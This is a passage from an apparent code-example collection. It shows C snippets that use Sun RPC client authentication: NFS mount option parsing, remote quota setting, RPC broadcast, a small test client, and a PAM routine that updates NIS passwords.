		   until they can be fully supported. ([email protected]) */
		if ((s = strchr(hostdir, ','))) {
			*s = '\0';
			fprintf(stderr,
				_("mount: warning: "
				  "multiple hostnames not supported\n"));
		}
	} else {
		fprintf(stderr,
			_("mount: "
			  "directory to mount not in host:dir format\n"));
		goto fail;
	}

	server_addr.sin_family = AF_INET;
#ifdef HAVE_inet_aton
	if (!inet_aton(hostname, &server_addr.sin_addr))
#endif
	{
		if ((hp = gethostbyname(hostname)) == NULL) {
			fprintf(stderr, _("mount: can't get address for %s\n"),
				hostname);
			goto fail;
		} else {
			if (hp->h_length > sizeof(struct in_addr)) {
				fprintf(stderr,
					_("mount: got bad hp->h_length\n"));
				hp->h_length = sizeof(struct in_addr);
			}
			memcpy(&server_addr.sin_addr,
			       hp->h_addr, hp->h_length);
		}
	}

	memcpy (&mount_server_addr, &server_addr, sizeof (mount_server_addr));

	/* add IP address to mtab options for use when unmounting */

	s = inet_ntoa(server_addr.sin_addr);
	old_opts = *extra_opts;
	if (!old_opts)
		old_opts = "";
	if (strlen(old_opts) + strlen(s) + 10 >= sizeof(new_opts)) {
		fprintf(stderr, _("mount: "
				  "excessively long option argument\n"));
		goto fail;
	}
	sprintf(new_opts, "%s%saddr=%s",
		old_opts, *old_opts ? "," : "", s);
	*extra_opts = xstrdup(new_opts);

	/* Set default options.
	 * rsize/wsize (and bsize, for ver >= 3) are left 0 in order to
	 * let the kernel decide.
	 * timeo is filled in after we know whether it'll be TCP or UDP. */
	memset(&data, 0, sizeof(data));
	data.retrans	= 3;
	data.acregmin	= 3;
	data.acregmax	= 60;
	data.acdirmin	= 30;
	data.acdirmax	= 60;
#if NFS_MOUNT_VERSION >= 2
	data.namlen	= NAME_MAX;
#endif

	bg = 0;
	soft = 0;
	intr = 0;
	posix = 0;
	nocto = 0;
	nolock = 0;
	broken_suid = 0;
	noac = 0;
	retry = 10000;		/* 10000 minutes ~ 1 week */
	tcp = 0;

	mountprog = MOUNTPROG;
	mountvers = 0;
	port = 0;
	mountport = 0;
	nfsprog = NFS_PROGRAM;
	nfsvers = 0;

	/* parse options */

	for (opt = strtok(old_opts, ","); opt; opt = strtok(NULL, ",")) {
		if ((opteq = strchr(opt, '='))) {
			val = atoi(opteq + 1);	
			*opteq = '\0';
			if (!strcmp(opt, "rsize"))
				data.rsize = val;
			else if (!strcmp(opt, "wsize"))
				data.wsize = val;
			else if (!strcmp(opt, "timeo"))
				data.timeo = val;
			else if (!strcmp(opt, "retrans"))
				data.retrans = val;
			else if (!strcmp(opt, "acregmin"))
				data.acregmin = val;
			else if (!strcmp(opt, "acregmax"))
				data.acregmax = val;
			else if (!strcmp(opt, "acdirmin"))
				data.acdirmin = val;
			else if (!strcmp(opt, "acdirmax"))
				data.acdirmax = val;
			else if (!strcmp(opt, "actimeo")) {
				data.acregmin = val;
				data.acregmax = val;
				data.acdirmin = val;
				data.acdirmax = val;
			}
			else if (!strcmp(opt, "retry"))
				retry = val;
			else if (!strcmp(opt, "port"))
				port = val;
			else if (!strcmp(opt, "mountport"))
			        mountport = val;
			else if (!strcmp(opt, "mounthost"))
			        mounthost=xstrndup(opteq+1,
						   strcspn(opteq+1," \t\n\r,"));
			else if (!strcmp(opt, "mountprog"))
				mountprog = val;
			else if (!strcmp(opt, "mountvers"))
				mountvers = val;
			else if (!strcmp(opt, "nfsprog"))
				nfsprog = val;
			else if (!strcmp(opt, "nfsvers") ||
				 !strcmp(opt, "vers"))
				nfsvers = val;
			else if (!strcmp(opt, "proto")) {
				if (!strncmp(opteq+1, "tcp", 3))
					tcp = 1;
				else if (!strncmp(opteq+1, "udp", 3))
					tcp = 0;
				else
					printf(_("Warning: Unrecognized proto= option.\n"));
			} else if (!strcmp(opt, "namlen")) {
#if NFS_MOUNT_VERSION >= 2
				if (nfs_mount_version >= 2)
					data.namlen = val;
				else
#endif
					printf(_("Warning: Option namlen is not supported.\n"));
			} else if (!strcmp(opt, "addr")) {
				/* ignore */;
			} else {
				printf(_("unknown nfs mount parameter: "
					 "%s=%d\n"), opt, val);
				goto fail;
			}
		} else {
			val = 1;
			if (!strncmp(opt, "no", 2)) {
				val = 0;
				opt += 2;
			}
			if (!strcmp(opt, "bg")) 
				bg = val;
			else if (!strcmp(opt, "fg")) 
				bg = !val;
			else if (!strcmp(opt, "soft"))
				soft = val;
			else if (!strcmp(opt, "hard"))
				soft = !val;
			else if (!strcmp(opt, "intr"))
				intr = val;
			else if (!strcmp(opt, "posix"))
				posix = val;
			else if (!strcmp(opt, "cto"))
				nocto = !val;
			else if (!strcmp(opt, "ac"))
				noac = !val;
			else if (!strcmp(opt, "tcp"))
				tcp = val;
			else if (!strcmp(opt, "udp"))
				tcp = !val;
			else if (!strcmp(opt, "lock")) {
				if (nfs_mount_version >= 3)
					nolock = !val;
				else
					printf(_("Warning: option nolock is not supported.\n"));
			} else if (!strcmp(opt, "broken_suid")) {
				broken_suid = val;
			} else {
				if (!sloppy) {
					printf(_("unknown nfs mount option: "
						 "%s%s\n"), val ? "" : "no", opt);
					goto fail;
				}
			}
		}
	}
	proto = (tcp) ? IPPROTO_TCP : IPPROTO_UDP;

	data.flags = (soft ? NFS_MOUNT_SOFT : 0)
		| (intr ? NFS_MOUNT_INTR : 0)
		| (posix ? NFS_MOUNT_POSIX : 0)
		| (nocto ? NFS_MOUNT_NOCTO : 0)
		| (noac ? NFS_MOUNT_NOAC : 0);
#if NFS_MOUNT_VERSION >= 2
	if (nfs_mount_version >= 2)
		data.flags |= (tcp ? NFS_MOUNT_TCP : 0);
#endif
#if NFS_MOUNT_VERSION >= 3
	if (nfs_mount_version >= 3)
		data.flags |= (nolock ? NFS_MOUNT_NONLM : 0);
#endif
#if NFS_MOUNT_VERSION >= 4
	if (nfs_mount_version >= 4)
		data.flags |= (broken_suid ? NFS_MOUNT_BROKEN_SUID : 0);
#endif
	if (nfsvers > MAX_NFSPROT) {
		fprintf(stderr, "NFSv%d not supported!\n", nfsvers);
		return 0;
	}
	if (mountvers > MAX_NFSPROT) {
		fprintf(stderr, "NFSv%d not supported!\n", nfsvers);
		return 0;
	}
	if (nfsvers && !mountvers)
		mountvers = (nfsvers < 3) ? 1 : nfsvers;
	if (nfsvers && nfsvers < mountvers)
		mountvers = nfsvers;

	/* Adjust options if none specified */
	if (!data.timeo)
		data.timeo = tcp ? 70 : 7;

#ifdef NFS_MOUNT_DEBUG
	printf("rsize = %d, wsize = %d, timeo = %d, retrans = %d\n",
	       data.rsize, data.wsize, data.timeo, data.retrans);
	printf("acreg (min, max) = (%d, %d), acdir (min, max) = (%d, %d)\n",
	       data.acregmin, data.acregmax, data.acdirmin, data.acdirmax);
	printf("port = %d, bg = %d, retry = %d, flags = %.8x\n",
	       port, bg, retry, data.flags);
	printf("mountprog = %d, mountvers = %d, nfsprog = %d, nfsvers = %d\n",
	       mountprog, mountvers, nfsprog, nfsvers);
	printf("soft = %d, intr = %d, posix = %d, nocto = %d, noac = %d\n",
	       (data.flags & NFS_MOUNT_SOFT) != 0,
	       (data.flags & NFS_MOUNT_INTR) != 0,
	       (data.flags & NFS_MOUNT_POSIX) != 0,
	       (data.flags & NFS_MOUNT_NOCTO) != 0,
	       (data.flags & NFS_MOUNT_NOAC) != 0);
#if NFS_MOUNT_VERSION >= 2
	printf("tcp = %d\n",
	       (data.flags & NFS_MOUNT_TCP) != 0);
#endif
#endif

	data.version = nfs_mount_version;
	*mount_opts = (char *) &data;

	if (*flags & MS_REMOUNT)
		return 0;

	/*
	 * If the previous mount operation on the same host was
	 * backgrounded, and the "bg" for this mount is also set,
	 * give up immediately, to avoid the initial timeout.
	 */
	if (bg && !running_bg &&
	    prev_bg_host && strcmp(hostname, prev_bg_host) == 0) {
		if (retry > 0)
			retval = EX_BG;
		return retval;
	}

	/* create mount deamon client */
	/* See if the nfs host = mount host. */
	if (mounthost) {
		if (mounthost[0] >= '0' && mounthost[0] <= '9') {
			mount_server_addr.sin_family = AF_INET;
			mount_server_addr.sin_addr.s_addr = inet_addr(hostname);
		} else {
			if ((hp = gethostbyname(mounthost)) == NULL) {
				fprintf(stderr, _("mount: can't get address for %s\n"),
					mounthost);
				goto fail;
			} else {
				if (hp->h_length > sizeof(struct in_addr)) {
					fprintf(stderr,
						_("mount: got bad hp->h_length?\n"));
					hp->h_length = sizeof(struct in_addr);
				}
				mount_server_addr.sin_family = AF_INET;
				memcpy(&mount_server_addr.sin_addr,
				       hp->h_addr, hp->h_length);
			}
		}
	}

	/*
	 * The following loop implements the mount retries. On the first
	 * call, "running_bg" is 0. When the mount times out, and the
	 * "bg" option is set, the exit status EX_BG will be returned.
	 * For a backgrounded mount, there will be a second call by the
	 * child process with "running_bg" set to 1.
	 *
	 * The case where the mount point is not present and the "bg"
	 * option is set, is treated as a timeout. This is done to
	 * support nested mounts.
	 *
	 * The "retry" count specified by the user is the number of
	 * minutes to retry before giving up.
	 *
	 * Only the first error message will be displayed.
	 */
	retry_timeout.tv_sec = 3;
	retry_timeout.tv_usec = 0;
	total_timeout.tv_sec = 20;
	total_timeout.tv_usec = 0;
	timeout = time(NULL) + 60 * retry;
	prevt = 0;
	t = 30;
	val = 1;

	for (;;) {
		if (bg && stat(node, &statbuf) == -1) {
			/* no mount point yet - sleep */
			if (running_bg) {
				sleep(val);	/* 1, 2, 4, 8, 16, 30, ... */
				val *= 2;
				if (val > 30)
					val = 30;
			}
		} else {
			/* be careful not to use too many CPU cycles */
			if (t - prevt < 30)
				sleep(30);

			pm_mnt = get_mountport(&mount_server_addr,
					       mountprog,
					       mountvers,
					       proto,
					       mountport,
					       nfs_mount_version);

			/* contact the mount daemon via TCP */
			mount_server_addr.sin_port = htons(pm_mnt->pm_port);
			msock = RPC_ANYSOCK;

			switch (pm_mnt->pm_prot) {
			case IPPROTO_UDP:
				mclient = clntudp_create(&mount_server_addr,
							 pm_mnt->pm_prog,
							 pm_mnt->pm_vers,
							 retry_timeout,
							 &msock);
				if (mclient)
					break;
				mount_server_addr.sin_port =
					htons(pm_mnt->pm_port);
				msock = RPC_ANYSOCK;
			case IPPROTO_TCP:
				mclient = clnttcp_create(&mount_server_addr,
							 pm_mnt->pm_prog,
							 pm_mnt->pm_vers,
							 &msock, 0, 0);
				break;
			default:
				mclient = 0;
			}

			if (mclient) {
				/* try to mount hostname:dirname */
				mclient->cl_auth = authunix_create_default();

				/* make pointers in xdr_mountres3 NULL so
				 * that xdr_array allocates memory for us
				 */
				memset(&status, 0, sizeof(status));

				if (pm_mnt->pm_vers == 3)
					clnt_stat = clnt_call(mclient,
						     MOUNTPROC3_MNT,
						     (xdrproc_t) xdr_dirpath,
						     (caddr_t) &dirname,
						     (xdrproc_t) xdr_mountres3,
						     (caddr_t) &status,
						     total_timeout);
				else
					clnt_stat = clnt_call(mclient,
						     MOUNTPROC_MNT,
						     (xdrproc_t) xdr_dirpath,
						     (caddr_t) &dirname,
						     (xdrproc_t) xdr_fhstatus,
						     (caddr_t) &status,
						     total_timeout);

				if (clnt_stat == RPC_SUCCESS)
					break;		/* we're done */
#if 0
				/* errno? who sets errno? */
				/* this fragment breaks bg mounting */
				if (errno != ECONNREFUSED) {
					clnt_perror(mclient, "mount");
					goto fail;	/* don't retry */
				}
#endif
				if (!running_bg && prevt == 0)
					clnt_perror(mclient, "mount");
				auth_destroy(mclient->cl_auth);
				clnt_destroy(mclient);
				mclient = 0;
				close(msock);
			} else {
				if (!running_bg && prevt == 0)
					clnt_pcreateerror("mount");
			}
			prevt = t;
		}

		if (!bg)
		        goto fail;
		if (!running_bg) {
			prev_bg_host = xstrdup(hostname);
			if (retry > 0)
				retval = EX_BG;
			goto fail;
		}
		t = time(NULL);
		if (t >= timeout)
			goto fail;
	}
	nfsvers = (pm_mnt->pm_vers < 2) ? 2 : pm_mnt->pm_vers;

	if (nfsvers == 2) {
		if (status.nfsv2.fhs_status != 0) {
			fprintf(stderr,
				"mount: %s:%s failed, reason given by server: %s\n",
				hostname, dirname,
				nfs_strerror(status.nfsv2.fhs_status));
			goto fail;
		}
		memcpy(data.root.data,
		       (char *) status.nfsv2.fhstatus_u.fhs_fhandle,
		       NFS_FHSIZE);
#if NFS_MOUNT_VERSION >= 4
		data.root.size = NFS_FHSIZE;
		memcpy(data.old_root.data,
		       (char *) status.nfsv2.fhstatus_u.fhs_fhandle,
		       NFS_FHSIZE);
#endif
	} else {
#if NFS_MOUNT_VERSION >= 4
		fhandle3 *fhandle;
		if (status.nfsv3.fhs_status != 0) {
			fprintf(stderr,
				"mount: %s:%s failed, reason given by server: %s\n",
				hostname, dirname,
				nfs_strerror(status.nfsv3.fhs_status));
			goto fail;
		}
		fhandle = &status.nfsv3.mountres3_u.mountinfo.fhandle;
		memset(data.old_root.data, 0, NFS_FHSIZE);
		memset(&data.root, 0, sizeof(data.root));
		data.root.size = fhandle->fhandle3_len;
		memcpy(data.root.data,
		       (char *) fhandle->fhandle3_val,
		       fhandle->fhandle3_len);

		data.flags |= NFS_MOUNT_VER3;
#endif
	}

	/* create nfs socket for kernel */

	if (tcp) {
		if (nfs_mount_version < 3) {
	     		printf(_("NFS over TCP is not supported.\n"));
			goto fail;
		}
		fsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	} else
		fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (fsock < 0) {
		perror(_("nfs socket"));
		goto fail;
	}
	if (bindresvport(fsock, 0) < 0) {
		perror(_("nfs bindresvport"));
		goto fail;
	}
	if (port == 0) {
		server_addr.sin_port = PMAPPORT;
		port = pmap_getport(&server_addr, nfsprog, nfsvers,
				    tcp ? IPPROTO_TCP : IPPROTO_UDP);
#if 1
		/* Here we check to see if user is mounting with the
		 * tcp option.  If so, and if the portmap returns a
		 * '0' for port (service unavailable), we then exit,
		 * notifying the user, rather than hanging up mount.
		 */
		if (port == 0 && tcp == 1) {
			perror(_("nfs server reported service unavailable"));
			goto fail;
		}
#endif

		if (port == 0)
			port = NFS_PORT;
#ifdef NFS_MOUNT_DEBUG
		else
			printf(_("used portmapper to find NFS port\n"));
#endif
	}
#ifdef NFS_MOUNT_DEBUG
	printf(_("using port %d for nfs deamon\n"), port);
#endif
	server_addr.sin_port = htons(port);
	/*
	 * connect() the socket for kernels 1.3.10 and below only,
	 * to avoid problems with multihomed hosts.
	 * --Swen
	 */
	if (linux_version_code() <= 66314
	    && connect(fsock, (struct sockaddr *) &server_addr,
		       sizeof (server_addr)) < 0) {
		perror(_("nfs connect"));
		goto fail;
	}

	/* prepare data structure for kernel */

	data.fd = fsock;
	memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr));
	strncpy(data.hostname, hostname, sizeof(data.hostname));

	/* clean up */

	auth_destroy(mclient->cl_auth);
	clnt_destroy(mclient);
	close(msock);
	return 0;

	/* abort */

 fail:
	if (msock != -1) {
		if (mclient) {
			auth_destroy(mclient->cl_auth);
			clnt_destroy(mclient);
		}
		close(msock);
	}
	if (fsock != -1)
		close(fsock);
	return retval;
}	
Example #7
0
/*
 * Set the requested quota information on a remote host.
 */
int rpc_rquota_set(int qcmd, struct dquot *dquot)
{
#if defined(RPC_SETQUOTA)
	CLIENT *clnt;
	setquota_rslt *result;
	union {
		setquota_args arg;
		ext_setquota_args ext_arg;
	} args;
	char *fsname_tmp, *host, *pathname;
	struct timeval timeout = { 2, 0 };
	int rquotaprog_not_registered = 0;
	int ret;

	/* RPC limits values to 32b variables. Prevent value wrapping. */
	if (check_dquot_range(dquot) < 0)
		return -ERANGE;

	/*
	 * Convert host:pathname to seperate host and pathname.
	 */
	fsname_tmp = (char *)smalloc(strlen(dquot->dq_h->qh_quotadev) + 1);
	strcpy(fsname_tmp, dquot->dq_h->qh_quotadev);
	if (!split_nfs_mount(fsname_tmp, &host, &pathname)) {
		free(fsname_tmp);
		return -ENOENT;
	}

	/* For NFSv4, we send the filesystem path without initial /. Server prepends proper
	 * NFS pseudoroot automatically and uses this for detection of NFSv4 mounts. */
	if ((dquot->dq_h->qh_io_flags & IOFL_NFS_MIXED_PATHS) &&
	    !strcmp(dquot->dq_h->qh_fstype, MNTTYPE_NFS4)) {
		while (*pathname == '/')
			pathname++;
	}

	/*
	 * First try EXT_RQUOTAPROG (Extended (LINUX) RPC quota program)
	 */
	args.ext_arg.sqa_qcmd = qcmd;
	args.ext_arg.sqa_pathp = pathname;
	args.ext_arg.sqa_id = dquot->dq_id;
	args.ext_arg.sqa_type = dquot->dq_h->qh_type;
	cliutil2netdqblk(&args.ext_arg.sqa_dqblk, &dquot->dq_dqb);

	if ((clnt = clnt_create(host, RQUOTAPROG, EXT_RQUOTAVERS, "udp")) != NULL) {
		/*
		 * Initialize unix authentication
		 */
		clnt->cl_auth = authunix_create_default();

		/*
		 * Setup protocol timeout.
		 */
		clnt_control(clnt, CLSET_TIMEOUT, (caddr_t) & timeout);

		/*
		 * Do RPC call and check result.
		 */
		result = rquotaproc_setquota_2(&args.ext_arg, clnt);
		if (result != NULL && result->status == Q_OK)
			clinet2utildqblk(&dquot->dq_dqb, &result->setquota_rslt_u.sqr_rquota);

		/*
		 * Destroy unix authentication and RPC client structure.
		 */
		auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
	}
	else {
		result = NULL;
		if (rpc_createerr.cf_stat == RPC_PROGNOTREGISTERED)
			rquotaprog_not_registered = 1;
	}

	if (result == NULL || !result->status) {
		if (dquot->dq_h->qh_type == USRQUOTA) {
			/*
			 * Try RQUOTAPROG because server doesn't seem to understand EXT_RQUOTAPROG. (NON-LINUX servers.)
			 */
			args.arg.sqa_qcmd = qcmd;
			args.arg.sqa_pathp = pathname;
			args.arg.sqa_id = dquot->dq_id;
			cliutil2netdqblk(&args.arg.sqa_dqblk, &dquot->dq_dqb);

			/*
			 * Create a RPC client.
			 */
			if ((clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp")) != NULL) {
				/*
				 * Initialize unix authentication
				 */
				clnt->cl_auth = authunix_create_default();

				/*
				 * Setup protocol timeout.
				 */
				clnt_control(clnt, CLSET_TIMEOUT, (caddr_t) & timeout);

				/*
				 * Do RPC call and check result.
				 */
				result = rquotaproc_setquota_1(&args.arg, clnt);
				if (result != NULL && result->status == Q_OK)
					clinet2utildqblk(&dquot->dq_dqb,
							 &result->setquota_rslt_u.sqr_rquota);

				/*
				 * Destroy unix authentication and RPC client structure.
				 */
				auth_destroy(clnt->cl_auth);
				clnt_destroy(clnt);
			} else {
				result = NULL;
				if (rpc_createerr.cf_stat == RPC_PROGNOTREGISTERED)
					rquotaprog_not_registered = 1;
			}
		}
	}
	free(fsname_tmp);
	if (result)
		ret = result->status;
	else if (rquotaprog_not_registered)
		ret = Q_NOQUOTA;
	else
		ret = -1;
	return rquota_err(ret);
#endif
	return -1;
}
Example #8
0
enum clnt_stat
clnt_broadcast (
     u_long prog,		/* program number */
     u_long vers,		/* version number */
     u_long proc,		/* procedure number */
     xdrproc_t xargs,		/* xdr routine for args */
     caddr_t argsp,		/* pointer to args */
     xdrproc_t xresults,	/* xdr routine for results */
     caddr_t resultsp,		/* pointer to results */
     resultproc_t eachresult	/* call with each result obtained */)
{
  enum clnt_stat stat = RPC_FAILED;
  AUTH *unix_auth = authunix_create_default ();
  XDR xdr_stream;
  XDR *xdrs = &xdr_stream;
  struct timeval t;
  int outlen, inlen, nets;
  socklen_t fromlen;
  int sock;
  int on = 1;
  struct pollfd fd;
  int milliseconds;
  int i;
  bool_t done = FALSE;
  u_long xid;
  u_long port;
  struct in_addr addrs[20];
  struct sockaddr_in baddr, raddr;	/* broadcast and response addresses */
  struct rmtcallargs a;
  struct rmtcallres r;
  struct rpc_msg msg;
  char outbuf[MAX_BROADCAST_SIZE], inbuf[UDPMSGSIZE];

  /*
   * initialization: create a socket, a broadcast address, and
   * preserialize the arguments into a send buffer.
   */
  if ((sock = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
    {
      perror (_("Cannot create socket for broadcast rpc"));
      stat = RPC_CANTSEND;
      goto done_broad;
    }
#ifdef SO_BROADCAST
  if (setsockopt (sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof (on)) < 0)
    {
      perror (_("Cannot set socket option SO_BROADCAST"));
      stat = RPC_CANTSEND;
      goto done_broad;
    }
#endif /* def SO_BROADCAST */
  fd.fd = sock;
  fd.events = POLLIN;
  nets = getbroadcastnets (addrs, sock, inbuf);
  memset ((char *) &baddr, 0, sizeof (baddr));
  baddr.sin_family = AF_INET;
  baddr.sin_port = htons (PMAPPORT);
  baddr.sin_addr.s_addr = htonl (INADDR_ANY);
/*      baddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY); */
  msg.rm_xid = xid = _create_xid ();
  t.tv_usec = 0;
  msg.rm_direction = CALL;
  msg.rm_call.cb_rpcvers = RPC_MSG_VERSION;
  msg.rm_call.cb_prog = PMAPPROG;
  msg.rm_call.cb_vers = PMAPVERS;
  msg.rm_call.cb_proc = PMAPPROC_CALLIT;
  msg.rm_call.cb_cred = unix_auth->ah_cred;
  msg.rm_call.cb_verf = unix_auth->ah_verf;
  a.prog = prog;
  a.vers = vers;
  a.proc = proc;
  a.xdr_args = xargs;
  a.args_ptr = argsp;
  r.port_ptr = &port;
  r.xdr_results = xresults;
  r.results_ptr = resultsp;
  xdrmem_create (xdrs, outbuf, MAX_BROADCAST_SIZE, XDR_ENCODE);
  if ((!xdr_callmsg (xdrs, &msg)) || (!xdr_rmtcall_args (xdrs, &a)))
    {
      stat = RPC_CANTENCODEARGS;
      goto done_broad;
    }
  outlen = (int) xdr_getpos (xdrs);
  xdr_destroy (xdrs);
  /*
   * Basic loop: broadcast a packet and wait a while for response(s).
   * The response timeout grows larger per iteration.
   */
  for (t.tv_sec = 4; t.tv_sec <= 14; t.tv_sec += 2)
    {
      for (i = 0; i < nets; i++)
	{
	  baddr.sin_addr = addrs[i];
	  if (sendto (sock, outbuf, outlen, 0,
		      (struct sockaddr *) &baddr,
		      sizeof (struct sockaddr)) != outlen)
	    {
	      perror (_("Cannot send broadcast packet"));
	      stat = RPC_CANTSEND;
	      goto done_broad;
	    }
	}
      if (eachresult == NULL)
	{
	  stat = RPC_SUCCESS;
	  goto done_broad;
	}
    recv_again:
      msg.acpted_rply.ar_verf = _null_auth;
      msg.acpted_rply.ar_results.where = (caddr_t) & r;
      msg.acpted_rply.ar_results.proc = (xdrproc_t) xdr_rmtcallres;
      milliseconds = t.tv_sec * 1000 + t.tv_usec / 1000;
      switch (poll(&fd, 1, milliseconds))
	{

	case 0:		/* timed out */
	  stat = RPC_TIMEDOUT;
	  continue;

	case -1:		/* some kind of error */
	  if (errno == EINTR)
	    goto recv_again;
	  perror (_("Broadcast poll problem"));
	  stat = RPC_CANTRECV;
	  goto done_broad;

	}			/* end of poll results switch */
    try_again:
      fromlen = sizeof (struct sockaddr);
      inlen = recvfrom (sock, inbuf, UDPMSGSIZE, 0,
			(struct sockaddr *) &raddr, &fromlen);
      if (inlen < 0)
	{
	  if (errno == EINTR)
	    goto try_again;
	  perror (_("Cannot receive reply to broadcast"));
	  stat = RPC_CANTRECV;
	  goto done_broad;
	}
      if ((size_t) inlen < sizeof (u_long))
	goto recv_again;
      /*
       * see if reply transaction id matches sent id.
       * If so, decode the results.
       */
      xdrmem_create (xdrs, inbuf, (u_int) inlen, XDR_DECODE);
      if (xdr_replymsg (xdrs, &msg))
	{
	  if (((u_int32_t) msg.rm_xid == (u_int32_t) xid) &&
	      (msg.rm_reply.rp_stat == MSG_ACCEPTED) &&
	      (msg.acpted_rply.ar_stat == SUCCESS))
	    {
	      raddr.sin_port = htons ((u_short) port);
	      done = (*eachresult) (resultsp, &raddr);
	    }
	  /* otherwise, we just ignore the errors ... */
	}
      else
	{
#ifdef notdef
	  /* some kind of deserialization problem ... */
	  if ((u_int32_t) msg.rm_xid == (u_int32_t) xid)
	    fprintf (stderr, "Broadcast deserialization problem");
	  /* otherwise, just random garbage */
#endif
	}
      xdrs->x_op = XDR_FREE;
      msg.acpted_rply.ar_results.proc = (xdrproc_t)xdr_void;
      (void) xdr_replymsg (xdrs, &msg);
      (void) (*xresults) (xdrs, resultsp);
      xdr_destroy (xdrs);
      if (done)
	{
	  stat = RPC_SUCCESS;
	  goto done_broad;
	}
      else
	{
	  goto recv_again;
	}
    }
done_broad:
  (void) close (sock);
  AUTH_DESTROY (unix_auth);
  return stat;
}
main( int argc, char * argv[] ) 
{
  struct timeval   intervalle = { TIMEOUT_SEC, 0 };
  CLIENT *         client ;
  int              c ;  
  struct rpcent *  etc_rpc ;               /* pour consulter /etc/rpc ou rpc.bynumber */
  unsigned int     adresse_serveur ;  /* Au format NET */
  struct hostent * hp ;
  char             nom_exec[MAXPATHLEN] ;
  char             machine_locale[256] ;
  char *           tempo_nom_exec  = NULL ;
  unsigned int     rpc_service_num = DEFAULT_RPC_SERVICE ;
  unsigned int     rpc_version = V1 ;
  unsigned int     rpcproc = PROC_PLUS1 ;
  unsigned short   port =  ntohs( DEFAULT_PORT ) ;
  int              val = 2 ;
  int              rc ;
  char             gss_service[1024] ;
  char             host[100] ;

  strcpy( ifname, "eth0" ) ;
  
   /* On recupere le nom de l'executable */
  if( ( tempo_nom_exec = strrchr( argv[0], '/' ) ) != NULL )
    strcpy( (char *)nom_exec, tempo_nom_exec + 1 ) ;
  
  strcpy( ifname, "eth0" ) ;

  while( ( c = getopt( argc, argv, options ) ) != EOF )
    {
      switch( c )
        {
        case 'd':
          /* Cette option permet de recuperer un nom pour la machine distante */
          if( isalpha( *optarg ) )
            {
               strcpy( host, optarg ) ;
            }
          else
            {
              adresse_serveur = inet_addr( optarg ) ;
            }
          break;

        case 's':
          /* Un nom ou un numero de service a ete indique */
          if( isalpha( (int)*optarg ) )
            {
              /* Ca commence pas par un chiffre donc c'est un nom service */
              if( ( etc_rpc = getrpcbyname( optarg ) ) == NULL )
                {
                  fprintf( stderr, "Impossible de resoudre le service %s\n", optarg ) ;
                }
              else
                {
                  rpc_service_num = etc_rpc->r_number ;
                }
            }
          else
            {
              /* C'est un numero de service qui est indique */
              rpc_service_num = atoi( optarg ) ;
            }
          break ;

        case 'v':
           /* numero de version */
           rpc_version = atoi( optarg ) ;
           break ;

        case 'p':
           rpcproc = atoi( optarg ) ;
           break ;

        case 'I':
	   strcpy( ifname, optarg ) ;
           break ; 

        case 'h':
        case '?':
        default:
          /* Affichage de l'aide en ligne */
          fprintf( stderr, utilisation, nom_exec ) ;
          exit( 0 ) ;
          break ;
        }
    }
  
  if( ( client = Creer_RPCClient( host, rpc_service_num, rpc_version, port , RPC_ANYSOCK ) ) == NULL )
    {
      char erreur[100] ;
      strcpy( erreur, clnt_spcreateerror( "Creation RPC" ) ) ;
      fprintf( stderr, "Creation RPC: %s\n", erreur ) ;
      exit( 1 ) ;
    }

  client->cl_auth = authunix_create_default();

  val = 2 ;
  fprintf( stderr, "J'envoie la valeur %d\n", val ) ;
  if( ( rc = clnt_call( client, rpcproc, 
                        (xdrproc_t)xdr_int, (caddr_t)&val, 
                        (xdrproc_t)xdr_int, (caddr_t)&val, 
                        intervalle ) ) != RPC_SUCCESS )
    {
      clnt_perror( client, "appel a  FIXE_RET\n" ) ;
      exit ( 1 ) ;
    }
  fprintf( stderr, "Je recois la valeur %d\n", val ) ;

  auth_destroy( client->cl_auth ) ;  
  clnt_destroy( client ) ;
}
Example #10
0
static int _do_setpass(pam_handle_t* pamh, const char *forwho, char *fromwhat,
		       char *towhat, unsigned int ctrl, int remember)
{
	struct passwd *pwd = NULL;
	int retval = 0;

	D(("called"));

	setpwent();
	pwd = getpwnam(forwho);
	endpwent();

	if (pwd == NULL)
		return PAM_AUTHTOK_ERR;

	if (on(UNIX_NIS, ctrl)) {
		struct timeval timeout;
		struct yppasswd yppwd;
		CLIENT *clnt;
		char *master;
		int status;
		int err = 0;

		/* Make RPC call to NIS server */
		if ((master = getNISserver(pamh)) == NULL)
			return PAM_TRY_AGAIN;

		/* Initialize password information */
		yppwd.newpw.pw_passwd = pwd->pw_passwd;
		yppwd.newpw.pw_name = pwd->pw_name;
		yppwd.newpw.pw_uid = pwd->pw_uid;
		yppwd.newpw.pw_gid = pwd->pw_gid;
		yppwd.newpw.pw_gecos = pwd->pw_gecos;
		yppwd.newpw.pw_dir = pwd->pw_dir;
		yppwd.newpw.pw_shell = pwd->pw_shell;
		yppwd.oldpass = fromwhat;
		yppwd.newpw.pw_passwd = towhat;

		D(("Set password %s for %s", yppwd.newpw.pw_passwd, forwho));

		/* The yppasswd.x file said `unix authentication required',
		 * so I added it. This is the only reason it is in here.
		 * My yppasswdd doesn't use it, but maybe some others out there
		 * do.                                        --okir
		 */
		clnt = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp");
		clnt->cl_auth = authunix_create_default();
		memset((char *) &status, '\0', sizeof(status));
		timeout.tv_sec = 25;
		timeout.tv_usec = 0;
		err = clnt_call(clnt, YPPASSWDPROC_UPDATE,
				(xdrproc_t) xdr_yppasswd, (char *) &yppwd,
				(xdrproc_t) xdr_int, (char *) &status,
				timeout);

		if (err) {
			clnt_perrno(err);
			retval = PAM_TRY_AGAIN;
		} else if (status) {
			D(("Error while changing NIS password.\n"));
			retval = PAM_TRY_AGAIN;
		}
		D(("The password has%s been changed on %s.",
		   (err || status) ? " not" : "", master));

		auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
		if ((err || status) != 0) {
			retval = PAM_TRY_AGAIN;
		}
#ifdef DEBUG
		sleep(5);
#endif
		return retval;
	}
	/* first, save old password */
	if (save_old_password(forwho, fromwhat, remember)) {
		return PAM_AUTHTOK_ERR;
	}
	if (on(UNIX_SHADOW, ctrl) || (strcmp(pwd->pw_passwd, "x") == 0)) {
		retval = _update_shadow(forwho, towhat);
